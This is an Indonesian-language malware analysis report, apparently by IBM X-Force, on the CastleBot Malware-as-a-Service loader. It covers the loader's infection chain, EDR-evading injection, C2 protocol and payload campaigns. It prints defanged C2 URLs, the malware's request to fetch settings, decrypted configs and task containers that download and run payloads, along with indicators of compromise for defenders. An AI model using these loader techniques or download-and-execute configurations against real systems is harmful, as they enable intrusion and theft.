Membedah operasi Malware-as-a-Service CastleBot

tiga monitor digital di atas meja menampilkan pesan kesalahan penting merah

Penulis

Golo Mühr

Malware Reverse Engineer

IBM

IBM X-Force telah menyelidiki kerangka kerja malware yang baru muncul bernama CastleBot. Malware ini diyakini sebagai bagian dari operasi Malware-as-a-Service (MaaS) dan dirancang khusus untuk penerapan malware yang fleksibel. CastleBot saat ini digunakan oleh penjahat siber untuk mengirimkan segala sesuatu mulai dari infostealers hingga backdoor seperti NetSupport dan WarmCookie, yang telah dikaitkan dengan serangan ransomware.

Hal yang membuat CastleBot sangat mengkhawatirkan adalah distribusinya: paling sering melalui penginstal perangkat lunak trojan yang diunduh dari situs web palsu, memikat pengguna yang tidak curiga untuk meluncurkan infeksi itu sendiri. Teknik ini adalah bagian dari tren yang sedang berkembang yang diamati X-Force. Hal ini sering diaktifkan melalui keracunan SEO, yang menyebabkan halaman berbahaya mendapat peringkat lebih tinggi di mesin pencari daripada distributor perangkat lunak yang sah. Setelah masuk, CastleBot berjalan melalui proses tiga tahap: stager/downloader, loader, dan backdoor inti, yang meminta serangkaian tugas dari server perintah dan kontrol (C2). Informasi yang dikumpulkan dari mesin yang terinfeksi memungkinkan operator untuk dengan mudah menyaring korban, mengelola infeksi yang sedang berlangsung, dan menerapkan malware ke target bernilai tinggi dengan presisi.

CastleBot masih berkembang, dan riset kami menunjukkan kemungkinan baru saja dimulai. Dalam laporan ini, kami menguraikan cara kerjanya, bagaimana penyebarannya, dan mengapa itu penting.

Temuan utama:

  • CastleBot adalah malware baru yang kemungkinan dioperasikan sebagai Malware-as-a-Service, yang dapat digunakan untuk mengirimkan berbagai macam muatan berbahaya
  • Muatan lanjutan berkisar dari infostealer hingga backdoor yang terkait dengan serangan ransomware, seperti NetSupport dan WarmCookie
  • X-Force mengamati penginstal perangkat lunak yang ditrojanisasi sebagai vektor infeksi paling umum untuk mengirimkan CastleBot
  • Kerangka kerja CastleBot mencakup tiga komponen: stager, loader dan inti dan tampaknya sedang dalam pengembangan aktif
  • Malware tampaknya memungkinkan operator untuk dengan mudah menyaring korban, memperbarui muatan, dan mengelola beberapa kampanye sepanjang siklus hidup mereka

Ringkasan

CastleBot pertama kali muncul pada awal tahun 2025. X-Force mencatat peningkatan volume sampel dan muatan yang berbeda mulai bulan Mei, dan sejak itu mengamati penerapan berbagai muatan backdoor dan infostealer. Vektor infeksi CastleBot yang paling umum adalah perangkat lunak yang ditrojanisasi, yang merupakan bagian dari tren yang terus diamati X-Force sejak 2024. Paket perangkat lunak dan penginstal yang ditrojanisasi sering didistribusikan melalui situs web palsu menggunakan keracunan SEO untuk menarik korban. CastleBot juga didistribusikan melalui repositoriGitHub, meniru perangkat lunak yang sah, dan melalui teknik ClickFix yang populer.

X-Force mengidentifikasi tiga komponen sebagai bagian dari kerangka kerja malware CastleBot: stager, loader, dan CastleBot core/backdoor.

Bagan alir yang menunjukkan rantai infeksi CastleBot
Gbr. 1: Rantai infeksi CastleBot

Perhatikan bahwa pelaporan publik sebelumnya oleh Prodraft mengacu pada kerangka kerja malware yang sama dengan “CastleLoader”.

CastleBot Stager

Dalam kebanyakan kasus, komponen inti CastleBot digunakan melalui stager shellcode, yang merupakan bagian dari keluarga malware CastleBot yang sama. Stager adalah muatan shellcode ringan yang dapat disuntikkan oleh loader tahap pertama lainnya. X-Force mengamati berbagai crypters yang digunakan dengan CastleBot, termasuk Dave, sebuah crypter berbasis AutoIt, dan crypters sederhana yang dikompilasi dalam bahasa C.

Malware menggunakan algoritma hashing DJB2 untuk menyelesaikan API yang diperlukan pada waktu proses. Sebelum setiap panggilan API, ia memuat DLL yang sesuai dan melintasi Tabel Alamat Ekspor (EAT) mencari fungsi API melalui hash DJB2 yang dibuat sebelumnya. Jika ekspor diteruskan ke DLL lain, stager mengurai nama DLL, memuatnya dan menyelesaikan fungsi melalui GetProcAddress.

Setelah eksekusi, stager mengunduh dua payload melalui HTTP dengan Agen Pengguna “Googlebot”. Jalur URL serupa antara sampel dan alamat server C2 yang sama dengan komponen inti CastleBot.

Contoh URL unduhan:

http://173.44.141[.]89/service/download/data_3x.bin

http://173.44.141[.]89/service/download/data_4x.bin

Tangkapan layar dari stager CastleBot yang telah didekompilasi
Gbr. 2: Tangkapan layar stager CastleBot yang didekompilasi

Kedua muatan didekripsi melalui string XOR hardcode, dalam hal ini "GysDosGysDos" (dikodekan UTF-16), mengungkapkan PE (inti CastleBot) dan stub shellcode (CastleBot Loader).

Stager kemudian menggunakan VirtualProtect untuk mengaktifkan eksekusi pada heap untuk wilayah memori yang menyimpan payload shellcode kedua yang didekripsi. Yang terakhir, bertindak sebagai loader, dieksekusi langsung di memori dan menerima penunjuk ke PE yang didekripsi sebagai argumen.

Pemuat CastleBot

CastleBot Loader adalah pemuat PE berfitur lengkap, yang dimulai dengan memetakan setiap bagian dari PE yang disediakan ke wilayah memori baru yang dialokasikan menggunakan NtalLocateVirtualMemory. Ini melanjutkan untuk perbaikan relokasi yang diperlukan, menyelesaikan impor, mengatur opsi perlindungan memori yang sesuai dan menjalankan fungsi callback TLS yang ada.

Khususnya, loader juga menyiapkan struktur LDR_DATA_TABLE_ENTRY baru dan LDR_DDAG_NODE yang sesuai (diperluas di Windows 8 dan yang lebih baru), yang kemudian ditambahkan ke daftar terkait ganda PEB_LDR_DATA yang berisi modul yang dimuat untuk setiap proses. Untuk agen EDR yang memantau PEB, ini akan membuat muatan yang disuntikkan tampak lebih seolah-olah dimuat secara sah oleh sistem operasi.

CastleBot Loader mengatur struktur LDR_DATA_TABLE_ENTRY dan LDR_DDAG_NODE dan memasukkan ke dalam daftar modul PEB_LDR_DATA
Gambar 3: CastleBot Loader mengatur struktur LDR_DATA_TABLE_ENTRY dan LDR_DDAG_NODE dan memasukkan ke dalam daftar modul PEB_LDR_DATA

Kecuali file yang disuntikkan adalah DLL, bidang ImageBaseAddress PEB juga disetel ke alamat dasar payload yang disuntikkan.

Terakhir, untuk mengeksekusi payload, CastleBot Loader mengeksekusi titik masuk atau mengalokasikan konsol baru untuk aplikasi konsol.

kode yang menggambarkan fungsi utama CastleBot Loader
Gbr. 4: Fungsi utama CastleBot Loader

Dalam sampel yang dianalisis di atas, muatan yang disuntikkan adalah backdoor CastleBot x86 (202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04).

Inti CastleBot

Inti CastleBot menggunakan mekanisme resolusi API yang sama dengan komponen stager dan loader, kecuali untuk algoritme hashing, yaitu hash AP, yang dikembangkan oleh Arash Partow.

Pertama, backdoor mulai dengan mendekripsi konfigurasinya. Hampir semua string di seluruh biner, termasuk bagian dari konfigurasi, disimpan sebagai UTF-16 dan didekripsi sebaris melalui kunci XOR 4-byte unik untuk setiap string. Selama dekripsi, struktur konfigurasi berikut dibuat:

struct CONFIG
{
  wchar_t *p_campaign_id;   //
81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3
  int size_utf16_campaign_id;
  int size_utf8_campaign_id;
  wchar_t *p_URL;           // http://173.44.141[.]89/service
  int size_utf16_URL;
  int size_utf8_URL;
  wchar_t *p_useragent;     // fTniXgvddlgotdAXke2CRZy
  int size_utf16_useragent;
  int size_utf8_useragent;
  wchar_t *p_mutex_name;    // 10KCnWHtIoABhkL2Cl3u
  int size_utf16_mutex_name;
  int size_utf8_mutex_name;
  DATA_BUFFER_STRUCT *p_chacha_key;     //
0x84fda801005fdd07340a1ca6d8a351adc6cfe9e39ffe7498a0955209ad2f7978
  int zero_34;
  DATA_BUFFER_STRUCT *p_chacha_nonce;       // 0x0b5ac47bfeeaf4af61726a5c
  int zero_3C;
};

Malware mencoba membuat mutex, menggunakan nama dari konfigurasi, untuk memastikan hanya satu instance yang berjalan. Pada langkah berikutnya, ia mengirimkan permintaan HTTP GET ke URL hardcode untuk mengambil pengaturannya, menggunakan ID kampanye di jalur URL:

GET
/service/settings/81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: fTniXgvddlgotdAXke2CRZy
Host: 173.44.141[.]89

Sebagai tanggapan, CastleBot menerima blok data terenkripsi.

Komunikasi C2

Semua komunikasi C2 dienkripsi melalui algoritma simetris ChaCha, terlepas dari permintaan GET awal malware. Setelah dekripsi, protokol C2 menggunakan struktur data kustom serial, secara internal disebut sebagai kontainer, yang dapat menyimpan nilai dari berbagai jenis.

Kontainer serial

Pada akar struktur data terserialisasi selalu terdapat sebuah field dengan tipe ContainerFieldArray. Struktur di bawah ini lebih lanjut mendefinisikan bagaimana tipe array dan bool diatur:

enum ContainerFieldType {
    CONTAINER_FIELD_TYPE_NONE,
    CONTAINER_FIELD_TYPE_BOOL,
    CONTAINER_FIELD_TYPE_UINT8,
    CONTAINER_FIELD_TYPE_INT8,
    CONTAINER_FIELD_TYPE_UINT16,
    CONTAINER_FIELD_TYPE_INT16,
    CONTAINER_FIELD_TYPE_UINT32,
    CONTAINER_FIELD_TYPE_INT32,
    CONTAINER_FIELD_TYPE_UINT64,
    CONTAINER_FIELD_TYPE_INT64,
    CONTAINER_FIELD_TYPE_STRINGA,
    CONTAINER_FIELD_TYPE_STRINGW,
    CONTAINER_FIELD_TYPE_BLOB,
    CONTAINER_FIELD_TYPE_ARRAY
}

struct FIELD_NAME {
    WORD fieldname_len;
    wchar fieldname[];
}

struct CONTAINER_FIELD_ARRAY {
    ContainerFieldType type;
    FIELD_NAME field_name;
    SIZE_T size;
    union {
        CONTAINER_FIELD_NONE none;
        CONTAINER_FIELD_BOOL bool;
        CONTAINER_FIELD_UINT8 uint8;
        CONTAINER_FIELD_INT8 int8;
        CONTAINER_FIELD_UINT16 uint16;
        CONTAINER_FIELD_INT16 int16;
        CONTAINER_FIELD_UINT32 uint32;
        CONTAINER_FIELD_INT32 int32;
        CONTAINER_FIELD_UINT64 uint64;
        CONTAINER_FIELD_INT64 int64;
        CONTAINER_FIELD_STRINGA stringa;
        CONTAINER_FIELD_STRINGW stringw;
        CONTAINER_FIELD_BLOB blob;
        CONTAINER_FIELD_ARRAY array;
    };
}

struct CONTAINER_FIELD_BOOL {
    ContainerFieldType type; // CONTAINER_FIELD_TYPE_BOOL=0x01
    FIELD_NAME field_name;
    BYTE bool;
}

Saat mengurai kontainer yang didekripsi mendefinisikan pengaturan yang diminta oleh backdoor, data dimulai dengan byte 0x0D, menunjukkan jenis ContainerFieldArray. Byte itu diikuti oleh nama bidang, yang dengan sendirinya adalah panjang 2-byte diikuti oleh nama yang dikodekan UTF-16. Setelah nama, bidang array mendefinisikan panjang data 4-byte, diikuti oleh data itu sendiri, yang sekali lagi dimulai dengan byte pertama yang mendefinisikan tipe.

Kontainer pengaturan CastleBot

Pengaturan yang diterima oleh sampel yang dianalisis di atas diurai sebagai berikut.

Data serial:

00000000  0d 08 00 72 00 6f 00 6f 00 74 00 89 00 00 00 0d  |...r.o.o.t......|
00000010  10 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00  |..s.e.t.t.i.n.g.|
00000020  73 00 72 00 00 00 01 18 00 72 00 75 00 6e 00 5f  |s.r......r.u.n._|
00000030  00 61 00 73 00 5f 00 61 00 64 00 6d 00 69 00 6e  |.a.s._.a.d.m.i.n|
00000040  00 00 01 0e 00 61 00 6e 00 74 00 69 00 5f 00 76  |.....a.n.t.i._.v|
00000050  00 6d 00 00 01 1e 00 70 00 72 00 65 00 76 00 65  |.m.....p.r.e.v.e|
00000060  00 6e 00 74 00 5f 00 72 00 65 00 73 00 74 00 61  |.n.t._.r.e.s.t.a|
00000070  00 72 00 74 00 00 01 1e 00 73 00 68 00 6f 00 77  |.r.t.....s.h.o.w|
00000080  00 5f 00 66 00 61 00 6b 00 65 00 5f 00 65 00 72  |._.f.a.k.e._.e.r|
00000090  00 72 00 6f 00 72 00 00                          |.r.o.r..|

Objek yang dideserialisasi:

root: {
    settings: {
        run_as_admin: False,
        anti_vm: False,
        prevent_restart: False,
        show_fake_error: False,
    }
}

Untuk setiap pengaturan yang diaktifkan, tindakan berikut dilakukan oleh CastleBot:

run_as_admin: Malware akan mengeksekusi induknya melalui " cmd.exe /c <parent_process>" melalui Shell ExecuteW dengan kata kerja " runas " untuk meluncurkannya sebagai Administrator.

anti_vm: CastleBot akan menggunakan instruksi cpuid dengan daun 0x40000000 untuk mencoba deteksi lingkungan hypervisor. Jika VMware atau Parallels ditemukan, malware akan keluar.

_restart: CastleBot akan membuat file tersembunyi baru di %PROGRAMDATA% dengan nama yang cocok dengan nama mutex yang disematkan dalam konfigurasi. Jika file sudah ada, malware akan keluar.

show_fake_error: Malware menampilkan kotak pesan "System Error" dengan pesan "Program tidak dapat dijalankan karena VCRUNTIME140.dll tidak ada di komputer Anda. Coba instal ulang program untuk memperbaiki masalah ini."

Pencacatan host

Pada langkah selanjutnya, CastleBot mengumpulkan informasi tentang host yang terinfeksi untuk mendaftar ke server C2 dan meminta tugas.

  • Nama pengguna melalui GetUserNameW
  • Nama NetBIOS melalui GetComputerNameW
  • Arsitektur sistem melalui IsWow64Process
  • Nama domain DNS lokal, dengan menggunakan LSAQueryInformationPolicy untuk mengambil struktur PolicyDnsDomainInformation. Nilai default adalah "WORKGROUP".
  • Nomor seri volume diambil melalui GetVolumeInformationW.CastleBot menggunakannya untuk menghitung ID korban unik menggunakan generator kongruensial linier (LCG) dengan pengganda 0x41C64E6D dan tambahan 0x3039.
  • Versi Windows melalui RTLGetVersion dan GetSystemMetrics (89)

Informasi dikompilasi ke dalam objek di bawah ini, diikuti dengan serialisasi dan enkripsi ChaCha:

root: {
    information: {
        access_key: "fTniXgvddlgotdAXke2CRZy",
        campaign_identifier:
"81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3",
        machine_id: <calculated_victim_id>,
        build_version: "1.0",
        username: <username>,
        computer_name: <NetBIOS name>,
        domain_name: <local DNS domain name>,
        windows_version: <Windows version>,
        arch: <system architecture>,
    }
}

Nilai hardcode adalah kunci akses (identik dengan Agen Pengguna dari konfigurasi), pengenal kampanye dan versi build CastleBot, yaitu "1.0" untuk sampel yang dianalisis.

Backdoor mengirimkan data terenkripsi dalam permintaan HTTP POST ke

http://173.44.141[.]89/service/tasks

 Responsnya adalah kontainer terenkripsi yang lebih besar yang memuat tugas pra-konfigurasi CastleBot.

Kontainer tugas CastleBot

Kontainer yang diterima dari server C2 oleh sampel CastleBot yang dianalisis didekripsi dan dideserialisasi menjadi objek dengan bidang berikut:

root: {
    access_key: "fTniXgvddlgotdAXke2CRZy",
    tasks: {
        {
            id: 16,
            url: "http://173.44.141[.]89/service/download/docusign2.exe",
            install_path: "%TEMP%\docusign-auth2.exe",
            launch_method: 1,
            argument: "",
            run_as_admin: False,
            startup_method: 1,
            is_encrypted_container: False,
            container_encryption_key: "",
            auto_unpack_zip: False,
            zip_executable_files: {},
        }
    }

}

Bidang "tugas" adalah jenis array khusus seperti yang dijelaskan di atas, berisi setidaknya satu array tanpa nama (nama panjang nol), masing-masing mewakili tugas. CastleBot juga dapat menerima array dengan beberapa tugas yang harus dilakukan setelah satu sama lain. Setiap tugas berisi ID dan beberapa bidang yang merinci bagaimana tugas akan dieksekusi, yang disalin ke dalam struktur tugas selama deserialisasi.

Eksekusi tugas

Bidang terpenting dalam setiap tugas adalah "launch_method ", yang menentukan jenis muatan yang akan ditangani oleh CastleBot.

Metode peluncuran

Payload

Eksekusi

1

EXE diunduh dari URL

Melalui CreateProcessW atau ShellExecuteW

2

DLL diunduh dari URL

Melalui ShellExecuteW dan rundll.exe

3

DLL diunduh dari URL

Melalui LoadLibraryW

4

PE diunduh dari URL

Disuntikkan ke dalam proses baru

5

Perintah PowerShell di bidang "argumen"

Melalui ShellExecuteW

6

Perintah BAT di bidang "argumen"

Melalui ShellExecuteW

Bidang lain dapat digunakan untuk mengatur opsi khusus untuk eksekusi tugas:

Nama bidang

Deskripsi

id

ID tugas unik, digunakan untuk melaporkan kembali eksekusi yang berhasil ke server C2

URL

URL untuk mengambil muatan. Payload sering di-host di server C2 di http://<castlebot_c2>/service/download/<payload_name>

install_path

Jalur target untuk injeksi proses, yang mungkin berisi variabel lingkungan, atau hanya " :SELF: " yang menyuntikkan muatan ke dalam duplikat proses induk.

argumen

Argumen untuk proses di install_path, atau perintah untuk eksekusi PowerShell/BAT

run_as_admin

Jika disetel, eksekusi melalui ShellExecuteW akan menggunakan kata kerja "runas".

metode_mulai

Jika disetel ke "1", persistensi dibuat untuk payload melalui tugas terjadwal yang dipicu pada setiap login. 

is_encrypted_container

Jika disetel, payload yang diunduh dari URL akan didekripsi RC4 dan diurai sebagai kontainer lain untuk mengambil payload tugas.

container_encryption_key  

Kunci RC4 digunakan dengan wadah terenkripsi.

auto_unpack_zip

Jika disetel, payload diperlakukan sebagai file ZIP dan diekstraksi secara manual.

file_zip yang dapat dieksekusi

Daftar file target dalam arsip ZIP yang akan dieksekusi sesuai dengan metode peluncuran.

wow64_bypass

Opsi yang baru ditambahkan baru-baru ini, untuk menentukan apakah binari sistem 32-bit harus diluncurkan sebagai gantinya.

  

Injeksi proses

CastleBot mendukung injeksi proses sederhana untuk muatan PE. Dimulai dengan membuat proses yang ditangguhkan baru, berdasarkan jalur instalasi dan bidang argumen. Untuk bekerja pada Windows 11 24H2 dan yang lebih baru, pengembang malware memilih untuk menghubungkan fungsi NT ManageHotPatch NT DLL di memori untuk melewati pemeriksaan memori yang baru ditambahkan. Lihat postingan Hasherezade untuk detail lebih lanjut, yang juga menyediakan implementasi POC yang tepat yang digunakan oleh CastleBot:

kode yang menggambarkan CastleBot mengaitkan NtManageHotPatch
Gambar 5: CastleBot mengaitkan NtManageHotPatch

Injeksi proses selanjutnya mengikuti teknik injeksi umum dengan mengalokasikan memori dalam proses target, menulis bagian ke dalam buffer, dan memodifikasi konteks thread sebelum melanjutkan eksekusi.

kode yang menggambarkan injeksi proses CastleBot
Gbr. 6: Injeksi proses CastleBot

Persistensi

Jika bidang metode startup disetel ke "1", CastleBot menetapkan persistensi dengan membuat tugas terjadwal. Untuk mendaftarkan tugas, malware menggunakan antarmuka iTaskService COM untuk terhubung ke layanan Penjadwal Tugas. Ini membuat tugas baru dan tindakan eksekusi untuk muatan target, yang dipicu setiap kali pengguna saat ini masuk (TASK_TRIGGER_LOGON).

Penyelesaian tugas

Setiap tugas dalam kontainer "tasks" ditangani secara berulang sesuai dengan bidang yang ditentukan. Setelah tugas selesai tanpa kesalahan, malware melaporkan kembali eksekusi yang berhasil melalui permintaan HTTP GET ke:

http://<c2_server>/service/tasks/complete/id/<task_id>

Pembaruan Juli 2025

X-Force mengamati varian inti CastleBot yang diperbarui, mendukung metode peluncuran baru dan opsi yang disebut "wow64_bypass", yang digunakan untuk secara khusus meluncurkan binari sistem 32-bit di folder SysWOW64.

Metode peluncuran

Payload

Eksekusi

1

EXE diunduh dari URL

Melalui CreateProcessW atau ShellExecuteW

2

DLL diunduh dari URL

Melalui ShellExecuteW dan rundll.exe

3

DLL diunduh dari URL

Melalui ShellExecuteW dan regsrv32.exe

4

DLL diunduh dari URL

Melalui LoadLibraryW

5

PE diunduh dari URL

Disuntikkan ke dalam proses baru melalui mekanisme lama

6

PE diunduh dari URL

Disuntikkan ke dalam proses baru melalui PE Loader

7

Perintah PowerShell di bidang "argumen"

Melalui ShellExecuteW

8

Perintah BAT di bidang "argumen"

Melalui ShellExecuteW

9

MSI diunduh dari URL

Melalui ShellExecuteW dan msiexec.exe

Implementasi injeksi proses tambahan (metode peluncuran 6) menulis komponen CastleBot Loader (lihat bagian analisis di atas) serta muatan PE ke dalam proses target. Kemudian menggunakan QueueUserAPC dan ResumeThread untuk mentransfer eksekusi ke loader, yang memuat payload PE dengan benar ke dalam memori dan mengeksekusinya.

kode yang menggambarkan proses injeksi melalui QueueUserAPC
Gbr. 7: Proses injeksi melalui QueueUserAPC

Teknik ini menggunakan panggilan WriteProcessMemory API yang jauh lebih sedikit dan menyediakan fungsionalitas pemuatan yang lebih lengkap dari stub CastleBot Loader.

Kampanye dan payload

Tujuan utama CastleBot adalah untuk memungkinkan penyebaran muatan sekunder ke mesin korban. X-Force menemukan beberapa muatan berbeda yang didistribusikan oleh CastleBot, seringkali dengan beberapa muatan dalam satu kampanye. Muatan bervariasi dalam kecanggihan, dari infostealer komoditas hingga backdoor yang lebih mampu seperti NetSupport atau WarmCookie, yang telah dikaitkan dengan serangan ransomware.

Kerangka kerja CastleBot MaaS tampaknya memungkinkan operator untuk menyaring mesin yang terinfeksi dan dengan mudah memperbarui muatan untuk mengelola beberapa kampanye aktif dengan fleksibilitas besar, menurut analisis dan tangkapan layarProdaft dari panel C2. Dengan fluiditas muatan dan kemampuan operator untuk menambahkan beberapa tugas dan muatan ke satu kampanye, rantai infeksi CastleBot lebih kompleks dibandingkan dengan tahapan malware statis tradisional.

X-Force tidak memiliki bukti iklan MaaS yang tersebar luas di dark web, yang mungkin menunjukkan bahwa layanan saat ini hanya dijual ke kelompok afiliasi swasta.

NetSupport

Tanpa mengidentifikasi malware sebagai kerangka kerja, berbagai fragmen kampanye yang mengarah ke NetSupport dilaporkan secara publik oleh peneliti lain pada bulan Juni dan Juli 2025.

DomainTools mengamati halaman DocuSign palsu yang menggunakan teknik ClickFix untuk mengeksekusi skrip PowerShell berbahaya, yang pada gilirannya mengunduh CastleBot untuk menerapkan NetSupport. IOC Kampanye:

a2898897d3ada2990e523b61f3efaacf6f67af1a52e0996d3f9651b41a1c59c9: PowerShell
script downloading and extracting a ZIP archive before executing “jp2launcher.exe”
d6eea6cf20a744f3394fb0c1a30431f1ef79d6992b552622ad17d86490b7aa7b:
“msvcp14.dll” crypted  CastleBot stager DLL-sideloaded by “jp2launcher.exe”.
http://mhousecreative[.]com/service/ -  CastleBot C2 server for stager and core components.
“5702b2a25802ff1b520c0d1e388026f8074e836d4e69c10f9481283f886fd9f4” - CastleBot campaign ID
http://mhousecreative[.]com/service/download/general_1 - NetSupport download
URL hosted on  CastleBot C2 server
2a2cd6377ad69a298af55f29359d67e4586ec16e6c02c1b8ad27c38471145569: NetSupport payload

Unit42 PaloAlto melaporkan aktivitas serupa dengan situs web yang meniru DocuSign dan Okta, menggunakan ClickFix untuk menerapkan CastleBot melalui komponen stager dan loader awal VIA. Ini berisi analisis parSIAL dari “NetSupport RAT Loader”, yang diidentifikasi X-Force sebagai kerangka kerja CastleBot. IOC Kampanye:

8b2ebeff16a20cfcf794e8f314c37795261619d96d602c8ee13bc6255e951a43: PowerShell
script downloading and extracting a ZIP archive before executing “jp2launcher.exe”
cbaf513e7fd4322b14adcc34b34d793d79076ad310925981548e8d3cff886527:
“msvcp14.dll” crypted  CastleBot stager DLL-sideloaded by “jp2launcher.exe”. 
http://80.77.23[.]48/service/ -  CastleBot C2 server for stager and core components.
“5702b2a25802ff1b520c0d1e388026f8074e836d4e69c10f9481283f886fd9f4” -  CastleBot campaign ID

WarmCookie

Salah satu muatan CastleBot yang lebih menarik adalah backdoor WarmCookie (alias Quickbind, BadSpace). Ini kemungkinan merupakan bagian dari ekosistem kejahatan dunia maya yang lebih besar yang memungkinkan serangan ransomware dan termasuk di antara keluarga malware yang berhasil ditargetkan oleh penegak hukum internasional selama Operasi Endgame pada tahun 2024. Sebelumnya, aktor ancaman Hive0137 mendistribusikan WarmCookie melalui kampanye email berbahaya, meskipun tidak ada aktivitas signifikan yang diamati pada tahun 2025, menurut visibilitas X-Force. WarmCookie secara publik terkait dengan operasi TA866/Asylum Ambuscade.

Kampanye yang diamati X-Force dimulai pada bulan Juni dengan arsip ZIP bersenjata meniru penginstal untuk perangkat lunak yang sah S SMS-20.2-enu.zip (4766f5cc6501fc40c7151a0ce1c9d2cc49fca9b0b9cab2a206dd2426947e9afe). Di antara komponen yang sah, ia berisi SSMS_Windows.x64.exe yang dapat dieksekusi berbahaya (05ecf871c7382b0c74e5bac267bb5d12446f52368bb1bfe5d2a4200d0f43c1d8) yang diidentifikasi sebagai varian dari Dave Loader, yang mendekripsi muatan yang disimpan dalam Sumber dayanya. Setelah dekripsi, Dave Loader menyuntikkan pintu belakang CastleBot (202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04), yang menerima tugas untuk mengunduh dan menjalankan payload WarmCookie (5bca7f1942e07e8c12ecd9c802ecdb96570dfaeaa1f44a6753ebb9ffda0604cb4) dari

http://173.44.141[.]89/service/download/docusign2.exe

Server WarmCookie C2 berlokasi di:

170.130.165[.]112

Sampel kedua yang ditemukan kemudian pada bulan Juni menggunakan executable serupa, meniru penginstal untuk perangkat lunak Zscaler Zscaler-windows-4.4.0.379-installer-x64.exe (bf21161c808ae74bf08e8d7f83334ba926ffa0bab96ccac42dde418270387890). Biner yang dikompilasi AutoIT adalah pemuat kode shell sederhana, mengeksekusi stager CastleBot tertanam, yang pada gilirannya mengunduh biner backdoor CastleBot yang sama (202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04).

Eksekusi sandbox dari sampel CastleBot induk menunjukkan bahwa afiliasi yang sama mungkin telah menjatuhkan payload StealC dengan server C2 di “http://107.158.128[.]105/c91252f9ab114f26.php” selama kampanye; namun, X-Force tidak dapat mengambil sampel. 

Kedua kampanye tersebut menggunakan ID kampanye CastleBot "81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3".

Infostealers

Selain itu, X-Force melacak beberapa kampanye CastleBot yang memberikan berbagai infostealer. Malware mendukung beberapa tugas pengunduhan untuk kampanye apa pun, yang akan menghasilkan penerapan beberapa muatan pada klien yang sama. AMD_Chipset_DriverOnly_DCH_AMD_Z_V1.2.0.105_20238.exe yang dapat dieksekusi (e6aab1b6a150ee3cbc721ac2575c57309f307f69cd1b478d494c25cde0baaf85) memuat muatan inti CastleBot tertanam (b45cce4ede6ffb7b6f28ff75a0cbb60e65592840d98dcb63155b9fa0324a88be2 ) dari sumber daya dan mengeksekusinya. Titik akhir pengaturan server C2 terletak di

http://62.60.226[.]73/service/settings/32e7ebb66296d22b4cf28dbe6d8dfd314590175d5fc2168609886985d6c807c1

yang ditemukan mengirimkan total tiga tugas terpisah dalam satu pesan C2, masing-masing menerapkan payload yang berbeda:

  • ID Tugas: 0x16
    • URL unduhan: https[:]//google.herionhelpline[.]com/aplikasi/AcerUSBUpdate.exe
    • Muatan: 03122e46a3e48141553e7567c659642b1938b2d3641432f916375c163df819c1 (Rhadamanthys)
    • Jalur instal: Tidak ada
    • Metode peluncuran: 6
  • ID Tugas: 0x17 
    • URL unduhan: https[:]//google.herionhelpline[.]com/app/light1_v5_signed.html
    • Muatan: 12de997634859d1f93273e552dec855bfae440dcf11159ada19ca0ae13d53dff (Remcos)
    • Jalur instal: %ProgramData%\AmazonApp\AmazonWebServiceUpdate.exe
    • Metode peluncuran: 1
  • ID Tugas: 0x18
    • https[:]//google.herionhelpline[.]com/aplikasi/SlackUpdateWeb.html
    • Muatan: c8f95f436c1f618a8ef5c490555c6a1380d018f44e1644837f19cb71f6584a8a (DeerStealer)
    • Jalur instalasi: %AppData%\SlackUpdate\SlackServiceUpdate.exe
    • Metode peluncuran: 1

X-Force lebih lanjut menemukan kampanye yang menerapkan SecTopRAT (alias ArechClient), HijackLoader (alias Shadowladder) dan MonsterV2 (alias Aurotun Stealer)

SecTopRAT dan HijackLoader:

  • GlobalProtect-win-6.3.zip dengan sideload yang dapat dieksekusi msvcp140.dll (8bf93cef46fda2bdb9d2a426fbcd35ffedea9ed9bd97bf78cc51282bd1fb2095)
  • Server CastleBot C2: http[:]//107.158.128[.]45/layanan/pengaturan/81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3
  • Payload di-hosting pada http[:]//107.158.128[.]45/service/download/Exchanger32.zip (4834bc71fc5d3729ad5280e44a13e9627e3a82fd4db1bb992fa8ae52602825c6)

MonsterV2:

  • libssl-1_1.dll (53dddae886017fbfbb43ef236996b9a4d9fb670833dfa0c3eac982815dc8d2a5) DLL-dimuat, secara reflektif menyuntikkan stager CastleBot
  • Server CastleBot C2: http[:]//107.158.128[.]45/layanan/pengaturan/8306a6b35d4be6de72be58860791e3644468fd67f675e4045a246dd27fa5692c
  • Payload di-hosting pada http[:]//107.158.128[.]45/service/download/CCver_Setup.exe (ab725f5ab19eec691b66c37c715abd0e9ab44556708094a911b84987d700aa62)

Kesimpulan

CastleBot adalah bukti terbaru dari pergeseran vektor infeksi awal dari lingkungan ancaman kejahatan siber. Backdoor dan kerangka kerja MaaS semakin didistribusikan melalui situs web palsu sebagai bagian dari perangkat lunak yang ditrojanisasi atau melalui teknik ClickFix. Dalam beberapa bulan singkat sejak mengamati peningkatan aktivitas CastleBot, para pengembang telah menambahkan beberapa fitur baru dan kemungkinan akan berusaha untuk mengikuti adaptasi EDR dan solusi keamanan jaringan. Aktivitas saat ini menunjukkan beberapa afiliasi menggunakan CastleBot untuk menyebarkan infostealers dan backdoor, yang dapat menyebabkan insiden ransomware berdampak tinggi.

Pembela disarankan untuk tetap waspada dengan teknik yang disebutkan dalam laporan ini dan mengambil tindakan yang tepat untuk mengurangi risiko infeksi CastleBot.

Rekomendasi

  • Pastikan perangkat lunak EDR dan kontrol keamanan terkait mutakhir
  • Latih pengguna untuk sangat berhati-hati saat mengunduh perangkat lunak dan menahan diri dari menginstal perangkat lunak yang tidak disetujui atau tidak diverifikasi
  • Menerapkan autentikasi multi-faktor dan memantau kredensial perusahaan yang bocor
  • Siapkan peringatan atau pertimbangkan untuk memblokir koneksi HTTP keluar (non-HTTPS), dan URL yang berisi alamat IP khususnya

Indikator Kompromi

Indikator

Jenis Indikator

Konteks

http://173.44.141[.]89/service/
